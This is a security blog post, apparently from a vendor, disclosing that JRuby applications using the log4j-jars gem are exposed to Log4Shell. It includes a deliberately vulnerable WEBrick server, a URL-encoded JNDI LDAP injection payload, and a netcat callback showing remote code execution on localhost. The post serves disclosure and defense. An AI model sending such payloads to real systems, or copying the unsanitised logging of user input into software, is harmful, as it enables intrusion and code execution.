Log4Shell or LogThemAll: Log4Shell in Ruby Applications

The notorious Log4Shell vulnerability  CVE-2021-44228, has put Log4j in the spotlight, and grabbed the entire Java community’s attention over the last couple of weeks. Maintainers of Java projects that use Log4j have most probably addressed the issue.

Meanwhile, non-java developers are enjoying relative peace of mind, knowing that they are unaffected by one of the major vulnerabilities found in recent years.


Unfortunately, this is an incorrect assumption. Log4j is such a popular library, that non-java developers also use it as their logging system. And when a need for a library becomes high, it is distributed as a package to ease the supply chain process.

JRuby – A Java Implemented Ruby Interpreter

This is the case with the Ruby programming language. The popular and original “vanilla” Ruby is written in C, therefore also referred to as CRuby.

However, other implementations of Ruby exist too, such as JRuby, which is a Java implementation of Ruby. This means that JRuby code will be translated into JVM bytecode and run by the JVM.

These implementations allow a Ruby developer to use the Java API using the requirejava statement, as if importing a Rubygem with the entire Java standard library. They also allow 3rd party Java libraries to be required from within Ruby source code, by encapsulating the .jar file inside a Rubygem, and requiring the gem as a normal Rubygem. 

What Does Log4j Have to do With It?

As stated before, Log4j’s popularity slips into other programming languages, particularly Ruby. If you search for “log4j” in the Rubygem index, you will find a variety of Log4j-encapsulating gems, ready for import and for use within a JRuby application.

So — a Ruby application that uses a Log4j jar for logging. What could possibly go wrong?

In the following section, we demonstrate that JRuby applications are vulnerable to Log4Shell when using a Rubygem that exposes a Log4j jar. In this case, we will use the log4j-jars gem, version 2.13.1.

Are You Vulnerable to Log4j?

Try this free CLI tool to scan your code & identify vulnerable versions of Log4j

What Does a Non-Java Log4Shell Exploit Look Like?

A vulnerable application:

Consider a simple Ruby server written in JRuby:

require "webrick"
require 'log4j-jars'

LOGGER = org.apache.logging.log4j.LogManager.getLogger("jruby")

class MyServlet < WEBrick::HTTPServlet::AbstractServlet
  def do_GET (request, response)
    user_input = request.query["userinput"]
    LOGGER.fatal user_input
    response.status = 200
    response.body = "Responding"
  end
end

server = WEBrick::HTTPServer.new(:Port => 1234)

server.mount "/vulnerable", MyServlet

trap("INT") {
    server.shutdown
}

server.start

It accepts user input from a request parameter userinput when receiving a request, and responds with a simple textual response.

An example request URI can be:

http://hostname.com:1234//vulnerable?userinput=inputhere

When handling the request, it simply logs the user’s query, using the log4j-jars gem, which encapsulates the vulnerable log4j jar, version 2.13.1:

The Gemfile contents:

source ‘https://rubygems.org’
gem ‘log4j-jars’, ‘2.13.1’

Information about the log4j-jars gem can be found using the command:

$ bundle info log4j-jars
  * log4j-jars (2.13.1)
        Summary: Log4j jars
        Homepage: http://logging.apache.org/log4j/2.x/
        Path: /home/user/jruby-9.3.2.0/lib/ruby/gems/shared/gems/log4j-jars-2.13.1-java

 

The Exploit:

An attacker can create a malicious LDAP server that holds a reference to an HTTP server. The HTTP server, in turn, exports a malicious object fetched by the application, which forces it to execute a shell command within the application’s context.

In this case, the command we will use is a simple nc localhost 1337, which will form a connection with an attacker-controlled listening port on localhost:1337.

A successful exploit will have the vulnerable application connect to the attacker-provided listening port. 

With the vulnerable Ruby application, LDAP, and HTTP servers up and running, the attacker opens a socket on their domain, listening on port 1337.


Now we send a request to the application as follows (note that the payload is URL encoded):

http://localhost:1234/vulnerable?userinput=%24{jndi%3Aldap%3A%2F%2F127.0.0.1%3A1389/o=reference}

Looking at our attacker’s listening socket, we can see that a connection was formed with the application, proving an RCE. Below is a snapshot of the attacker’s shell, with the receiving port command and its output:

└─$ nc -lvp 1337
listening on [any] 1337 …
connect to [127.0.0.1] from localhost [127.0.0.1] 58952

The last line shows a connection initiated by the Ruby application, through port 58952. This quick illustration shows that a Log4Shell (CVE-2021-44228) exploit on a Ruby application is relatively easy to carry out. .

Implications and Significance

Exploiting Log4Shell using a relatively small Rubygem means a lot more than it might seem to.

There are many other Log4j non-java packages out there, possibly in other ecosystems too. 

There are other JVM based programming languages, as well as wrapper libraries that provide an easy API to Java. These include:

Jython, node-java, inline-java, jgo, eta, Rhino and Quercus

This is a new attack vector not examined so far, but which developers should be aware of.

Recommendations

  1. Are you developing any cross-platform software using Java? We recommend checking if your applications use any Log4j functionality. Our free tool can help you with quick detection. 
  2. Are you using any 3rd party cross-platform software as one of your dependencies? These might use Log4j in one way or another, and it is highly recommended you perform a scan using WhiteSource, to see if there is any use of java-encapsulating packages, and in particular Log4j jars.

Learn More: Get free tools to detect and fix Log4j vulnerabilities at our Log4j Vulnerability Resource Center.

 

Meet The Author

Subscribe to Our Blog